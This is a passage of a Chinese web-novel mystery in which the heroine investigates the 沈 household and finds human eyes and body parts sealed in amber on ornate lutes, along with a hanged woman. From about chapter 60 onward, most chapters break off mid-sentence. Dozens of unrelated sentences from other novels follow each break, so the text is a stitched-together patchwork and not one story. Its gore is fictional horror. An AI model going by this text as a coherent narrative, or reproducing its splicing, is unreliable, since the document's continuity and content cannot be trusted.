此时的冷萤,终于发现了对方的异样,她盯着方骅看了好半晌,直看得对方不自在地动了动身,才开口道:“咋了,难道你想代替我去沈无尽府里?你不会是……呃……” 后面的话她没来得及说出来,就被方骅的怒目瞪回了肚子里。 好吧,不逗他了! “你那边怎么样?”她问起了正事。 见她像个没事人一样,方骅忍住气道:“三日后,张志要去沈无尽仓库中拖走一批货。你现下准备怎么办?” “什么怎么办?”冷萤不是很明白他的意思。 “当然是如何应对沈无尽这个疯子啊。张志说过,这人可是荤素不忌。”他才从张志口中套出冷萤在赌坊,便急着跑过来,没想到还是慢了一步。 “那就油盐都来呗!你放心,我会好好调查的,三日后沈无尽的仓库见。” 说完,冷萤刚准备转身离开,突然想到什么又提醒他:“你这几日记得打听一下珊瑚的消息,我在沈府可能不大方便行动。” 方骅被她气笑了,冷冷地道:“你还顾得上打听她的消息呢?先顾好你自己吧,不知水深水浅就往里跳。” “那还能怎么办?不晓得周娘子说的那些还好,一旦晓得了,我不可能放任那些脏事不管。”冷萤觉察到对方在担心自己,耐着性子解释道。 “就不能用别的方式?”方骅知她说的没错,但她有没有想过自己会有危险? 摇了摇头,冷萤好言好语道:“别的方式都太慢了,我现在混进去,至少还能多找些线索,到时还能帮上你们一星半点。” 方骅还想说什么,冷萤再次开口道:“好了,一切担心到此为止,记得随时保持联系。” 说完,她转身就走。剩下方骅一人在她身后气到捏紧拳头。 走了几步,她顿了顿又停了下来,回头小声道:“方大人,记得保护好自身。” 她的一句话,让方骅松开了紧握的双手,愣在了原地。 待回过神,眼见那银朱色身影快要走出巷口,他急忙小声喊了句:“你也是!” 第五十八章 琥珀藏(25) 冷萤踏入沈家,放眼望去,发现沈家府邸虽看上去规模一般,内里却暗藏着极致奢华。 外表平平无奇的大门,一走近院内却小桥流水、种满了奇花异草,看起来尽显雅致。 厅堂虽不大,用的全是上等木料,再饰以金漆。 就连她一个外客,所住的厢房屋内也挂满绫罗绸缎,床榻宽大且舒适。室内的摆件皆是精雕细琢,玉石宝器随处可见。 这举目皆是钱财,直看得冷萤连连惊叹,惊叹沈家的明目张胆。 他们不会以为,只要让整座府邸外表显得低调点,就真的不会有人起疑吧? 丫鬟领冷萤进房前,先带她去了一处院子。整间院子仅有一间房,房里摆放着好几把,用各种木料、各色大漆镶嵌着名贵宝玉的阮琴。 “公子交代,除了中间那把血珀镶嵌的阮琴不能动,其余的都可供冷姑娘随意弹奏。” 这么大方? “好的,那就替我多谢沈公子了。” 沈府来来往往的下人众多,冷萤不好在里面打量太久,便记下了路线,随着丫鬟一起离开了。 说来这沈无尽也是奇怪,说是邀请她进府弹琴给沈老爷子听。可她都来了大半日了,也无人唤她去弹奏一曲。 就连沈无尽本人,也未来得及见上一面。 随手拿起房里的一件金器把玩,看着门外不时有人路过,她心里虽着急却也无计可施。 只待天色暗下,等到所有人休息了,找机会溜出去瞧瞧。想到这里,冷萤看着窗外渐渐沉下的天色,安心用起了丫鬟送进来的饭菜。 直至明月当空,她准备打着散步消食的幌子,四处去探探时,好巧不巧敲门声响了起来。 不会是沈无尽吧?她有些不情不愿地起身去开门。 白日那么久不见人影,现在月色恰好朦胧时他又来了,真是煞风景。 房门打开的同时,冷萤迅速调整好表情,堆着笑朝门外的人打招呼:“沈老板。” 沈无尽在门外笑盈盈地看着她,里面所包含的情绪,与在赌坊刚见到时有些不同,“秋儿姑娘住得可还习惯?” “一切都挺好的,多谢沈老板关心。”冷萤耐着性子回了句,心里却只想他快些离开。 沈无尽未等冷萤邀请,便侧身走进了她的房间,边走还边说着:“秋儿姑娘唤我无尽吧,唤沈老板距离就远了。” 见他不顾男女有别,冷萤在他身后颇为不耐地暗叹一口气,趁他不注意时将房门完全推开至最大。 似乎察觉到了什么,沈无尽径自坐到桌旁,为自己倒了杯茶道:“秋儿姑娘不必拘谨,就当成自己家住罢。” 她才不要,她家可不贪! 心不甘情不愿地走到他对面坐下,冷萤问道:“沈老板今夜来此,是想听秋儿弹奏一曲?” 沈无尽没有回她,只是一双眼直勾勾地盯着她双手拍了拍,一位下人抱着一把阮琴走了进来。 “沈老板,这是何意?”见下人将手中的阮琴递给自己,冷萤不是很懂便朝沈无尽问了句。 伸手在阮琴上轻轻拨弄两下,沈无尽才笑着开口道:“昌县会阮琴之人不多,这把阮琴……就当是沈某送给秋儿姑娘的见面礼了。” 无事献殷勤,非奸即盗。 心里吐槽着的冷萤眼眸微眨,双手却老老实实接下阮琴,打量了下有无陷阱,才柔声回话:“这样名贵的琴秋儿不敢收,沈老板还是拿回去吧。” “不,秋儿姑娘配这把琴正正好。换成旁人,可没有这般的意境。”沈无尽慢摇头,轻缓道。 啧?她怎么觉着这句话,听起来这么别扭呢? 这人到底在说什么?古来只听说琴配人,何时她一个活生生的人,居然沦落到要拿来配一把琴? 还是…… 她突然想到,那间院子里镶嵌着血珀的阮琴。 血珀在当朝可是稀有之物,翻遍十座城,只怕都难找出两块血珀。 如果按沈无尽方才的说法,在他心里又有谁,能配得上那把镶嵌着血珀的阮琴? “那秋儿就不客气了,多谢沈老板赠琴。”说着,冷萤硬扯出微笑接过那把阮琴。 沈无尽赠她的琴,琴面用螺钿镶嵌着忍冬花纹用来提亮,再配以玳瑁增添贵气。只是这琴面的布局似乎有些奇怪…… 琴面好似刻意空出来的一块,既没镶嵌螺钿,也未装饰任何宝石。 冷萤看着甚是别扭,没忍住疑惑地开口道:“这一块似乎缺了什么。” 以她手艺人的眼光来看,那一块并不像是为了美观而留白,而是在镶嵌琴面时,非常突兀地将那一处直接避开了。 如果不是缺了什么,便是以后会再添些什么上去,以示对称之美。 “秋儿姑娘想多了,缺的这一块,正是此琴的绝妙之处。”沈无尽露出一抹高深莫测的笑,慢悠悠地品着茶,对冷萤说道。 绝妙吗?她怎么没看出来? 但人在屋檐下,自然主人说什么便是什么。这沈无尽虽内里肮脏,但外表看起来确是一位矜贵公子,没想到审美却不怎么样。 冷萤不想昧着良心应和对方,便戴上甲片轻轻拨弹了几下新得来的阮琴。 琴音纯净悠扬,抛开美观不说,的确是把好琴。 “明日,家父想聆赏秋儿姑娘的琴艺,不知姑娘可否愿意。”沈无尽终于表明了来意。 “当然愿意。”她终于可以见见,传言中那懦弱温和的沈老爷了。 沈无尽见她一口应下,满意地站起身,告辞离去。 见他走远,冷萤结结实实地长舒一口气。都怪方骅太过紧张,让她方才开门时还小小担心了一下。 关上门,房间里忽然又有了响动。刚放下心来的冷萤,被迫提着胆子慢慢转头看去。 一见身后之人是姜小四,才收起了防备之色。 见对方的样子不似刚到,方才在自己与沈无尽聊天时,他应该已经在房顶上待了许久了。 “什么时候来的?”冷萤问道。 (一直在。) “这样守着也太累了,快来喝杯茶。”冷萤招呼他。 姜小四摇摇头,指着她桌上的阮琴用眼神询问。 “嗯,沈无尽送来的,但总觉得这琴看着有些奇怪。”她指的是琴面空出的那一块。 (想知道什么原因,跟我来。) 第五十九章 琥珀藏(26) 姜小四带着冷萤,悄悄来到她白日曾到过的那间院子。 “你怎知我想来这里?”她四处看了下,确定没人才动手推门。 然而,白日被下人一推便直接打开的门,到了夜晚却被锁得死死的。 “只能找别的入口了。”她无奈地对姜小四说了句。 对方则是二话不说,带着她朝房间后方走去。没想到,两人刚走没两步,就听见两名丫鬟说话的声音。 出声之地就在他们的前方,那两名丫鬟只要再往前走几步,便会与他们撞个正着。 “你先离开,我来解决。”她小声提醒姜小四。 谁知对方摇了摇头,毫不躲避地朝那两名丫鬟走去。 “喂,你不要冲动哎……”她压低声音,想阻止那白发少年。但话音未落,就见姜小四大大方方站至丫鬟面前。 “你是谁,来人……” 其中一丫鬟率先反应过来,还未来得及喊人,就看见一位白瞳白发的少年,对着她们抬了下手掌,喊人的丫鬟嘴都没来得及闭上,便与身边的丫鬟一起晕了过去。 见他片刻就搞定了对方,冷萤甚是好奇:“你做了什么?” 姜小四翻过一只手掌给她看,他的手掌上还残留着药粉的痕迹,冷萤瞬间明白,问了句:“这药粉没毒吧?” 对方摇了摇头,她这才放心下来。 二人从后方的天窗钻进房间,刚顺着墙边堆的杂物跃至地面,冷萤双眼便陷入一片黑暗中。 还好,她本来也是准备半夜溜进来的,所以随身带了火折子。 动作利索地将火折子点亮,下一瞬,一对人脚便出现在她的眼前。心肝都差点被吓出来的冷萤,急忙后退一步,背后又好像撞上了什么东西。 听见身后姜小四熟悉的闷哼声,这才让她稍稍放下心来。 “你没事吧?”她转身扶起姜小四,见他无大碍,才又慢慢将目光转回前方。 官绿色裙摆下,一对冷白僵硬的双脚,正在无风自晃。 冷萤顺着恐怖的脚尖往上看去,一个双眼圆突,嘴边还露出一截舌尖,吊在房梁上面容呈绀色的女尸,赫然映入眼帘。 最令人害怕的是,这个被吊死的女人脸上,居然没有鼻子! 姜小四用力将她拉至身后,比划着告诉她房间里不太对劲,让她小心点。 两人小心翼翼远离那具女尸,朝着火折子照亮的地方走去。 行至摆放着那几把阮琴之地,姜小四拽了下冷萤,指着她白日看见过的那把镶嵌着血珀的阮琴,让她仔细观察。 “有什么吗?我白日瞧过了。”她虽说着,但还是再次凑近看了过去。 由于房中实在太暗,她只能努力举着火折子靠近。火光跳跃着,爬上那块镶嵌在阮琴左上角的血珀上。 突然! 冷萤的双眼,随着火折子上移的方向,瞧见了那块白日看起来浓郁深邃的血珀,表面渐渐泛起冷然的光泽。 那光泽慢慢变得透亮,然后…… 她瞧见了,血珀里居然还包裹着什么东西。 心急地将火折子拿得更近一些,她已经离那块血珀越来越近…… 直到!她惊惧地发现,自己的双眼居然在和一只眼睛对视! 这场景太过骇人,她被吓到急速后退,一不小心又撞到了身后的姜小四。 这次,姜小四还来不及做出反应,便被冷萤一把拉到身边,“你帮我看看,这血珀里是不是有只眼睛?” 姜小四淡定地看着冷萤,默默伸出手,将那阮琴的背板转了过来。 (背面还有一只。) 没做好准备的冷萤,猛地瞧见背板上另外一块血珀里,同样包裹着一只人眼,差点一口气没提上来。 她深呼吸闭上眼,好半晌才睁眼道:“多谢你急切地告诉我。” 这强烈的冲击力,她本可以缓一下再感受的,这下猛烈颤跳着的心还未完全归位,瞬间又被提了上来。 姜小四本人却浑然不知,冷萤的心早已被他控制着起起落落好多次。 他抬手示意冷萤继续瞧另外几把。 另外几把阮琴,都镶嵌着各色品类的琥珀。那些琥珀经过火光的折射,均透出了里面包裹着的物体。 蓝珀里面包裹着一块耳骨,另一块金珀里则藏着小孩的拇指。 “真是变态!”冷萤忍不住啐了声。 倏地,她想起白日带她进门的丫鬟说过的话,浑身的鸡皮疙瘩又开始起起伏伏。恐惧之意从内心深处传至四肢百骸,导致她整个身子都不由自主开始发冷。 (知道他送你的阮琴,为何有一处没有装饰了吗?) “知道了。”她小声且老实地答道。 都到这地步了,她要是还想不明白沈无尽那些奇怪的举动,也算是白活这么大了。 “春花、秋月,你们怎么了?”门外突然传来惊慌地询问。 冷萤反应是有人来了,急忙和姜小四原路返回。两人在逃出房间的下一瞬,房门猛地被人打开。 “没人呀,春花你是不是得癔症了?”方才说话的人打开房间,与被姜小四吓晕后,刚醒过来的两名丫鬟走了进去。 “可是我明明……”那名叫春花的丫鬟有些不确定地嘟囔了一句。 “我也看见了,明明有个长得像鬼一样白发白眼的人,他朝着我们一挥手,再醒过来时,冬芽姐你就在我们面前了。”另外一名丫鬟也帮着说道。 “白发白眼?这是什么鬼?”冬芽完全不相信她俩说的,走到一边将蜡烛点亮。 冷萤和姜小四藏在屋后无法离去,听见那几个丫鬟的评价,冷萤转过来问道:“你不生气吗?” (习惯了……) “这可不能习惯,要不你再去吓吓她们?”冷萤建议。 (不用,快了。) 什么不用?快了又是什么?看着眼前几个字缓缓落下,冷萤耸了耸肩又将耳朵凑近墙壁。 这边姜小四的药粉还未完全消失,里面房间里就传出几名女子尖锐的叫声。冷萤倏地明白,‘快了’是什么意思。 她差点忘了,房间里还有一具尸体吊在那里呢。 那几名丫鬟贸然进去,铁定被吓得不轻。想到这里,冷萤又朝那处凑近了些。 隐隐约约听见,在几声尖叫过去后,一名丫鬟好像大着胆子靠近了尸体,随即……发出了比方才更加惊恐百倍的尖叫。 “是夫人!快去报告老爷,夫人上吊自杀了!” 第六十章 琥珀藏(27) 次日 冷萤自然没有去为沈老爷弹琴。 沈岁的夫人,也就是沈无尽的继母离奇去世。全府上下都忙得不可开交,她一个人待在房里无事可做。 虽说无人打扰也挺好,但该有的礼数不能少。她也正好趁此机会,去见见那位沈岁沈老爷。 丫鬟带她去了前厅,老远就瞧见一群身穿素服麻衣的人之中,站着一身华服 渠江纺织厂对出路在哪里?怎么办?貌似只有改革一条路,资产重组!似乎是一条摆放在各级领导面前的光明大道。 “我才不管你说什么!现在我的任务是回去跟龙爷通风报信!”飞隼哈哈笑道,也弓身跳了起来,向对面那栋大楼跳了过去,但距离有些远,他险险的伸手攀住了天台边缘爬了上去,继续向前跑了起来。 “算你赢了”嘲风甲说道,然后飞出去把嘲风代表扶起来,赶紧为嘲风代表治伤。 “呵呵,很好!不过看他们这样子能打,也用不到你出手了,我们就看着得了!”这位貌似老师的隐身人说。 见李晓雪仍然蹙着眉,一声不吭。叶庆泉也不着急,端起杯子,轻轻品上一口茶水,暗自赞叹,怪不得李晓雪在省电视台短短时间之内就惹得那么多男人来与自己竞争,果然是个颠倒众生的尤物。 寸步不离死亡骑士的左右,就像他们之间有根线紧紧的将他们连接在一起。而她的躯体早已被收起来装在一辆绞肉车里,天知道阿尔萨斯这个屠夫还想拿来干些什么糟糕事。 杜构兄弟这边想着如何去攀附魏王李泰,而魏王府上,李泰也聚集了自己的一班心腹,商议着关于杜睿的事情。 不过他们必然坚持不了多久,天灾军团的亡灵海战术可不是浪得虚名……最终等待这些永恒龙部队的只有被无边无际的行尸走肉所彻底淹没。 与张东方的这顿饭结束后,厉中河便迫不及待地想要到海中市。他想面对面与郑远山谈谈自己的思想。 席君买在马上身型一晃,后背突然传来了一阵剧痛,他知道自己又中箭了。 周家殿后的护卫立即戒备,纷纷拔刀,想要在那惊马奔过身边的时候一刀结果了那匹马,免得冲撞了前边主人的车驾,最后也不过是赔些银两了事。 按理说,现在寒冬已经过去,但不知为什么今年的冬天,特别漫长,昨天晚上才下了雪,这个时候,怎么会有桃花? “怎么办,集?”尤妮丝有些担心道,毕竟这种药物产生的影响太大了,如果不能祛除,相比对身体也是有害处的。 唐宁安说这些话的时候,有些心虚,好吧,她是怕宁静会来破坏她的好事,所以她才不敢过去找宁静的,万一宁静知道了,肯定不会赞成她这么做的。 “没想到竟然如此。”亚伦不由得惊讶感叹,当初老主人一家受难,虽然对方来势汹汹,但是对他们这些外族手下却没有赶尽杀绝,只是对族人下手,没想到查尔斯他竟然奋不顾身,为了拯救老主人一家,付出了生命。 她只不过是在豪豪家待了一会儿,冷寂沉就把豪豪和大超打了一顿,打了就算了,还把两人送去了警局,这要是再和两人见面,指不定两人都要被丢牢房里去了。 这……这要是跟她有关,不是简单的酒后杀人,那岂不是自己用人不当,害了主子? 第六十一章 琥珀藏(28) “沈姑娘吓到了吧?” 沉思的冷萤,被突如其来的说话声惊了一瞬。 她回过神,看向正在与她说话的沈岁,有礼道:“沈老爷不要着急,沈老板他想通后会自己回来的。” 话说出口后,冷萤才觉察对方即刻转移了视线,好似并不想提方才发生的事。 恰好此时有人前来,沈岁说了句自便,便未再过多关注她 独远,风,洞悉镜沿路大步至此,远处那一些打理清扫的植被绯牡丹一见,独远,风,洞悉镜,一见是修真界的弟子,全部妖心大乱,有的甚至是直接肢体瘫地。 双方确定好路程、价格之后,司机开始出发了,因为陈林的“行李”很多,连后尾箱都装不完,所以司机要多了陈林一点钱,陈林觉得合理,也没跟他磨叽。 待季白走后,陆缜才从袖子里取出了那份自己新买来的卖身契:“云嫣姑娘,今日我已从衙门里为你脱了籍,从今开始,你再不用留在云水间了。”说着,把这份东西塞到了对方手里。 “妹妹,你放心好了,没有什么事情是难得住你哥哥易飞我的!”捕头易飞目光之中那布满血丝的双目突然是闪光一丝昔日坚毅之光。 因此这个房子不算大,两室一厅,简单装修,只是看着规整,家具很少。 话说如此集会竟然连个座位都没有,在凡人眼中着实是有些寒酸,但在修士眼中再正常不过。 林雨闻言,久久不语,没想到对方心思如此通透,竟然猜到刚刚只是自己出言哄骗于他,好让其打消寻死的念头。 红妆清晰记得,就在刚刚,这人应该还在和自己一样在城堡里,怎么现在却变成这幅样子,是什么攻击了他? 助理摇了摇头说:“程总这个事情就不劳您费心了,我列一份名单给你。之后你再仔细考虑。”程刚点了点头就靠在了自己的椅子上,助理看着程刚懒散的样子,自己就很自觉地退出了办公室。 “谁?”过来开门的是柳阳。今天早上的第一节课没课,所以四人都在宿舍里面。 南晏脸一红,蕴儿也是红着张脸想说些什么,南晏却是一把拉过她往外去了。 所以唐风对于天地君亲师的运用是十分生疏的,这次战斗也让他受益良多。 这时候的唐风突然想到了玉兔的一句话:有时候救人不一定是对的。 “你装傻做甚?难道那些个东西是自己长了腿逃走了么?”叶老夫人显然是不信,她只是后悔地想,昔年对叶禄生那般纵容,许是如今便是报应。 黑夜中张东海化作一道残影,嘭的一声杰克的门就被踹开了,张东海急切的说道:“来,给我看看。”只见马荣荣不着寸缕,已经死的不能再死了。 再加上她那穿着,唐风就算再笨都知道他们两个接下来想干什么。 “到哪了?”陆瑶擦擦根本不存在的口水,看看镜子,然后说道。 刘老爷这两天何尝不是担惊受怕,他就怕那天突然就有人告诉他,陆老爷离开广州了,到时候他的生意伙伴借此发难,刘府定会遭遇危机。 ,只不过,风无情可不是这么想的,他带卢巧儿出来,可是有正事要办。 且说,金童不知五行妙处,也不知泥人何时才能长成,便向彩云仙子问及这些。 代善见状有些无奈地摇了摇头,向手下的卫兵再度一摆手,那些卫兵就蜂拥着冲向了莽古尔泰。 第六十二章 琥珀藏(29) 走到沈夫人的梳妆台前,她凭感觉打开其中一个首饰盒。 盒子里放着一串镶嵌着忍冬花纹的臂环,顷刻间便夺去了冷萤的目光。 这串臂环的做工与材质,明显不是当朝女子喜爱的样式,更像是她曾经看过的一本书,里面描写的西域人氏所喜爱佩戴的饰品。 “沈无尽的继母不是昌县人氏吗?怎么……”她看着手中的 “你是佛子?”方天大惊,玩世不恭的脸上也闪过一丝惊色,不过,却是稍纵即逝,又恢复了满脸的无赖模样,任谁看到方天现在的样子,都不会相信他是佛门监寺,这模样像机了无赖僧人。 沙南船上,满船的沙南人都看向了霍一林,眼神里仿佛要喷出火来,愤怒到了极致。被人这么嘲笑讥讽,是个男人就忍不了。 几分钟后,梦无邪就开着自己的大众CC轿跑车,来到众人面前。 不知自己造就这一悲剧的朱大常正在墙的另一边与陈真诉说着师姑娘的美。陈真笑而不语。 “大王,那你能破开吗?”丹珍低垂粉颈问道,细腻如脂的脸蛋上带着两朵霞红。 “呵呵,我以为是什么大事,区区一场宴会的邀请,又怎敢让诸位亡灵的至强者如此‘盛情款待’我们去就是了。”泰丽雅单手在身后凌虚压了压,示意让其他人不要乱来。 郑昊心说这孙大晨混得真够可以的,劳斯莱斯居然都混上了?可到了跟前一看,郑昊禁不住愣了,肖静居然出现在自己家的门口。 跟在笑无幻几人,黑虎和夜豹也带着自己的几个好兄弟们,来到了边彼岸的面前。 虽然在破灭境这个境界,六阶神兵,已经足够叶风使用,但神通境,甚至合道境之后,六阶神兵就显得力不从心起来。 一着儒生长袍的中年男子出现在陈真面前。若不是知道自己所在,陈真还以为自己穿越了呢。 子龙,千年后祥云大陆的最后一名暗师,放弃杀手之王的荣耀,踏上命运之旅。 良久地矗立在厂区的门口,任由着冰一般的雨滴倾泻在自己的脸庞。思绪良多的老叶同样能感觉到故地重游的塞纳心中阵阵地悸动。 一节没有教师的可就在不知不觉中度过,季莫还是如往常一样被众多嫉妒的目光照顾着,直到下课。 “你不是在往别墅打电话么?”苏暖无奈的语气简直是在说“你是白痴么”。 此时时空沙漏已经属于风千的了,他只要催动时空沙漏,就能回到任意他去过的地方,就如忧心城,洪颜城等等,地球他自然还无法回去,因为这不是一个位面,要想用时空沙漏穿越界位面,他此时的实力境界还不够。 可以说,这条老旧的赛道是叶枫成名的地方。也记载了他进入f11日叶枫让赛车瞬间开始奔驰的那一刻,他却第一次对这条不但不优越反而很破旧的赛道产生了一种莫名的留恋之情。 话说,秦岛岛出门后,她没有回自己的办公室,而是走向了黄世从的办公室。 “艾琳?那是谁?是嫂子吗?”叶枫知道这个车间有老罗和老布两人,可是塞纳没和他说起过这个艾琳。而叶枫倒是知道布日德格13岁的时候就成了孤儿,是罗马里奥收养的他,两人其实就是父子关系。 但是对方的车子,前轮都已经冲到了峭壁边,悬空在那里,实在有些危险。老何见她又不情愿让自己帮她,便回过头来看着徐大人。 第六十三章 琥珀藏(30) 阿怜哭得更伤心了,哽咽道:“婢子不知他们有没有查清,只是自第二日起,老爷便罚少爷在夫人门口跪了整整三日。” “让沈无尽跪了三日,这件事就这么过去了?”冷萤的语气开始染上怒意。 “是的,而且老爷还要求,以后府里上下谁也不许提起这事。” 冷萤只觉好笑,这个沈家怎么回事?堂堂沈家夫人,瞧 比伯上去拨开洞口,拿出手电筒往下一照,众人才发现这洞口里边开始是垂直向下的,不过只一米多高,而进了里边是一个相对平缓的下坡。 士兵直接架起罗荣拖了出去,罗荣不停喊冤,声音凄厉尖锐。宫无邪淡淡一笑,觉得刚刚慕容子都所说不无道理。 第一个被灌翻的是主角尹依沫,早早地被微醺的甘谷雨抱到自己床上先行休息。紧接着大家对他的车轮炮轰就开始了。 培雯看到滕老板,她脸腾的一下拉下来,接着夏元看得到她已经濒临爆发点上。 深谷中,叶望陆祁一行人在古林之间,迅疾穿行,仿若根本就没有注意到,路边暴尸荒野的死尸一般。神情之间,丝毫不觉得奇怪。 夏元调转回头立即去找天香,他跑回来,发现天香和其他人坐在一起。 后者轻蔑一笑,身体再次翻转躲过一剑,左腿收回,右腿重重弹出,直接扫在雨山的脖颈上,山岳般的力量将他的身体轰出数百米。 只可惜这等强大妖兽也挨不过漫长的灵气枯竭期,消失在时间长河之中,当今世界,三十米左右的蓝鲸在常人眼里已经是巨无霸的存在了。 叶枫闭上眼睛,全心调动自己的身体,让自己的仙能将外面的寒流能量搬入自己的身体中,裹挟其进行修炼。 “师兄得到佳人青睐,还不忘照顾师弟,无言自然心中感激。”莫无言难得讨好慕诗蓝一次,二人的意见向来是不合的,只是即便不合,最后也总以慕诗蓝为准。 “叔父别来无恙,世民在此等候多时了。”突然传来李世民的声音。 “我们也是,王帅,我们先走了!”随后其他几路叛军首领也看出了不对,赶忙撤出这个战局。 结果,保时捷,玛莎拉蒂,兰博基尼一辆辆名跑从海陵公馆后面的专用车位里开了出来,最不济的许凡,也是一辆60的大奔。 忽然,一个黑影出现在她面前,那黑影非常庞大,定目细看之下,她才发现那是一艘宇宙飞船,这样的飞船她还是在电影里面见到过,没想到会在这里见到。 “真不真不是由你说了算的,看箭!”杨暕说着取出一张重达数石的铁胎弓,将圣旨绑在箭上,开弓朝城上的柱子上射去。 他笑了笑,自我嘲讽的笑了,同样在一起三年,自己却因生恨,曹格却因爱而了解信任对方。 徐东一听这事就是编造的,他很想当面把这男人戳穿,见安素拉悲天悯人的样子,他也只好忍了。 管彦吱吱唔唔地不知道怎么点,这个时代菜式较少,而且风格迥异,地域差别还是比较大的。 马车行到身后不远处,突听“吁——!”一声,銮铃声戛然而止,车子停了下来,肖明和顾守贞对视一眼,非常疑惑的看着马车之上下来的人。 徐东从莲花洞搬到荒草甸子,在他给雅倩搭建的屋子里住下,屋地上放了一堆干草,就是他夜宿的床铺了。 第六十四章 琥珀藏(31) 头好疼…… 冷萤被剧烈的头痛唤醒。特别是自己的额头处,不仅疼,还痒。 她靠着仅存的意志力,抬手挠了挠额头瘙痒之处。只轻轻一碰,剧烈的疼痛差点没让她再次昏了过去。 好像有什么沾在了手上,她挣扎着张开眼伸手一瞧,发现竟是几块血痂。 看来……她伤得还挺重的。 双手撑起虚弱无力 也难怪,圣旨达后能一呼百应,虽然现在入之先后只是侧妃与侍妾,但是皇上膝下仅此一子,日后定是要继承大统的,待新皇登基后,蕾的侧妃矮,便可淑坐进升妃位,甚至是贵妃,皇贵妃。 “这里的老板是一个饱学之士,多年前我与他有过几面之缘。人正直善良,所以来他这里真的很舒心”。 蝶花调为,月三蓉等少年子弟,初出江湖时,结交许晚晴、金临潼两贤伉俪馈赠的曲调。 白色和欧洲裔的“外观”被认为是常态,有色人种则被认为是弱势的。 “傻孩子你懂什么?你姐能抢走什么东西?你放心,家里的东西都是你的。”她妈拍了一下弟弟的脑袋。 只过了两日,云中城继续保持之前的节奏运转,再也没人提起丁原,高顺也是继续和张辽专心练兵、守城、监督屯田。 接着便是一名年轻的无极宗弟子出现在无极子的身前,恭敬的将手中的一份资料递了过去。 这二人,在不远的将来,都将成为大汉朝叱咤风云的人物,然而,现在却是老老实实龟缩在涿郡安平县家中,率领家族私兵低于黄巾散寇! “可我在乎。”顾思琪声音闷闷道,她已经有了一次不幸福的婚约,她再婚,绝对不能草率,而且冷林,根本就不在她考虑范围之内。 南宫雅看到这一幕,气的唇角发青,顾夜霆从进来,就没有看她一眼,却将苏晨熙紧紧抱在怀里,手指捏紧了包包,忽然想到包包里的东西,南宫雅唇角勾起一抹冷笑。 我哈哈大笑地看着纱纱一脸窘样,跟着晴一块起哄,催促着纱纱赶紧将酒喝完。 她想起了愚人节那天,他也曾经对着她深情款款地告白,可之后又迅速否认,说那只是愚人节的玩笑。 “因为,你在本王心中,和我一样,和大家一样,你不是慕容口中的异类,本王亦不会让你受到任何伤害。”情不自禁地,一只手温柔地抚上安然的面颊,眼中的深情,这次竟是那样清晰。 凤夜是个说到做到的人,自从唐欢醒来之后,就再没有吓唬过她。 “今儿个,你尽量离她远一点,知道了吗?”上了马车,低低地嘱咐安柔。 虽然费亦凡并不情愿从许政恒的公司借贷,但林夕的面子不能驳,从酒会回来,资金问题算是有了眉目。 “这么厉害,这都能猜到!是,今天下午下课早,就回来陪陪爷爷。”萧婉回答。 大家除了惊奇于这瘦颜丹的功效,还惊讶于世上竟然有这样厉害的一种丹方。 圣旨有美化作用,现在的谢清君奶包子才多大,哪里能够袭圣生德,可圣旨嘛,一方面是给前朝百官知会一声,更多的是给天下百姓甚至后世之人看的,总得修饰一些。 江阮阮经常做噩梦,但是却再也没有因为噩梦依偎在江少安怀中过。 但是,她老人家还是十分铁齿,要说就是普通人家的孩子,不用这么个教法。 第六十五章 琥珀藏(32) “那些人是谁?”她乘胜追击。 提到白银珠,沈岁神情则变得更加苍老。与他在沈夫人丧礼上的装模作样不同,冷萤能感受到他现下是真的悔恨。 但……那又怎么样?冷萤不置可否。 好好一个如花似玉的姑娘嫁给他,最后却以被剜眼身死收场。这样的爱,谁敢要? “你还未讲明,方才说的那些话是什么意 甚至于他第一场当中的表现就应该对第二场的情况产生一些干扰……然而事实却是没有。 林翰暗暗皱眉,侯旑冰的这种态度未免太偏颇了,她母亲抛弃了她,和意大悧又挨得上么? 开门的声音,倒喝的喘气,犹豫不决的步伐以及最后悉悉索索衣物摩擦的声响。 而且,根据十三中以往的校史,能够考入八大武学院的,基本上都是两个重点班里的学生。 龚婵娟意识到,上级没有言明,但是意图已经十分明显,要自己做一颗楔入林家的棋子,要布一个很大的局,不到收口的那一天,她就会一直不知道自己执行此次行动的最终目的。 走在最前面的是那个拥有四级法则盾的神殿·荆棘,然后依次是冲锋·藤蔓,学社·刺玫,接着是萧无妄,慕少安,老四,唐宁。 但不管怎样,他终于把事情给搞定了,80个老兵名额,足以解决这摊子烂事了,从今以后他发誓,看见眼前这位,他立刻掉头退避三舍。 随着授粉蜂越飞越远,叶晓晨跟它之间的联系越来越弱,最后彻底断掉了。 元杰想了想说道:“先撤吧。”之前是因为夜宸堵在他们下面,他们不得已只能往上跑,现在就要想办法离开这里了。 离了玳国公府,他也救不了郁杨。沈淳要发疯,玳国公都头痛,他更挡不住。郁杨是他最喜欢的儿子,却不是唯一的一个。被家族逐出,名声都要坏了,二老爷不为自己考虑,也要为其他的儿子考虑。 浑沌狮虎是么,它们很强,虽然身高只有比蒙巨兽的六七分之一,但因为同样是炫黑,所以力量更集中,身躯更灵活。 就算他们知道沐枫在省城,也没有对此事过多的提及,只是征求了两位叔爷的意见之后,装作没有事情发生。 林昊朝着司徒明看了一眼,微微摇摇头,面色平常,既然不能硬拼,那林昊也不会在露出凝重之色。 王二鹏很是后怕,自己连番攻击之下,沐枫却一招未回,只是一个简单的拆解,就让自己狼狈不堪。如果沐枫刚刚乘胜追击,那么没准自己就栽在沐枫的攻势下。 但究竟有多少人懂得李斌当时的心情?孙晓芸死了,他始终无法解决自己的问题,始终无法取得孙晓芸的原谅,甚至无法解释清楚那晚的事。 “殿下,咱们现在去哪?”张辅穿着一身的蓝色长袍,脸上带着浓浓的好奇。 因为天敌的缘故,巨龙的气味对她来说,是非常刺鼻的。但她尚未来得及钻出地下室,就轰然巨响,那是巨龙的身躯浮现后,那是巨龙的双翼伸展后,直接压垮了圣皇宫殿。 桐人注视着白薛迦,佐助为了复仇而来,他深深的憎恨着将一切平静都毁灭,背叛了自己、背叛了家族的哥哥。 说完,我还四下打量了下,这大厅里面就有好几个监控,行君颖这时候也跑到了大厅的大门口那看了看,然后冲我喊,说大门的两侧也都是监控。 第六十六章 琥珀藏(33) 他在说什么? 冷萤甚至觉得,自己的思绪已经无法跟上他语速了。 沈家这些人之间的关系,确实是她无法想象的错综复杂。 现下,她有些事还未完全搞清楚,所以只能一步一步来问清了:“当时柳妗在哪里?” 沈岁摇了摇头,喑哑着嗓音道:“我赶过去时,只看见银珠蒙着浸满鲜血的纱布,孤零零地躺在 沐森这才如梦初醒一般的调头就走,甚至连招呼都没有和霍亦晨还有林达两人打。 不过这会儿他不急问,也点了两个留下的人和大部队一起离开店铺,朝游乐园进发。 